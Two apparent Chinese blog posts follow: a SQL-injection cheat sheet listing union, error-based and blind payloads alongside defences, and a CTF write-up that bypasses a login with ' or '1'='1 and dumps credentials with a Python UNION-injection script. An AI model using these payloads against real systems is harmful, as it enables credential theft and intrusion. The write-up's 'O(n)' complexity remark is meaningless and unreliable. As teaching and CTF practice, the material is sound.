笔记：SQL 注入基础整理

Sun, 23 Aug 2026 20:30:00 +0800

常见注入类型

类型	特征	常用 payload
联合查询注入	页面有回显	`' union select 1,2,3-- -`
报错注入	页面回显数据库错误	`' and extractvalue(1,concat(0x7e,user()))-- -`
布尔盲注	页面只有真/假两种状态	`' and 1=1-- -` / `' and 1=2-- -`
时间盲注	无回显，靠响应时间判断	`' and if(1=1,sleep(3),0)-- -`

常用函数速查

user() / version() / database()：基本信息
information_schema.tables / .columns：库表结构
group_concat()：聚合多行结果

防御要点

参数化查询（预编译）
最小权限原则，Web 账号禁用 FILE 等高危权限
WAF 只能作为补充，不能替代代码层修复

入门 Web 签到题：SQL 注入基础利用

Sun, 23 Aug 2026 20:00:00 +0800

题目描述

签到题，访问目标站点，提示「flag 在 admin 的密码里」。

解题过程

打开页面是一个登录框，随手测试 admin' or '1'='1，页面返回登录成功。

进一步用 UNION 注入dump数据：

1
2
3
4
5
6
7


import requests

url = "http://target.example.com/login"
payload = "' union select 1,username,password from users-- -"

resp = requests.post(url, data={"username": payload, "password": "x"})
print(resp.text)

响应中拿到：

1

admin | flag{w3lc0me_t0_ctf_w0rld}

原理分析

1

SELECT * FROM users WHERE username = '$u' AND password = '$p'

单引号闭合后注释掉后半段即可绕过。时间复杂度为 $O(n)$，其中 $n$ 为注入尝试次数。

总结

过滤单引号是治标不治本，应该用参数化查询
本题考点：基础 SQL 注入 + UNION 查询

SQL 注入 on Vortex's Blog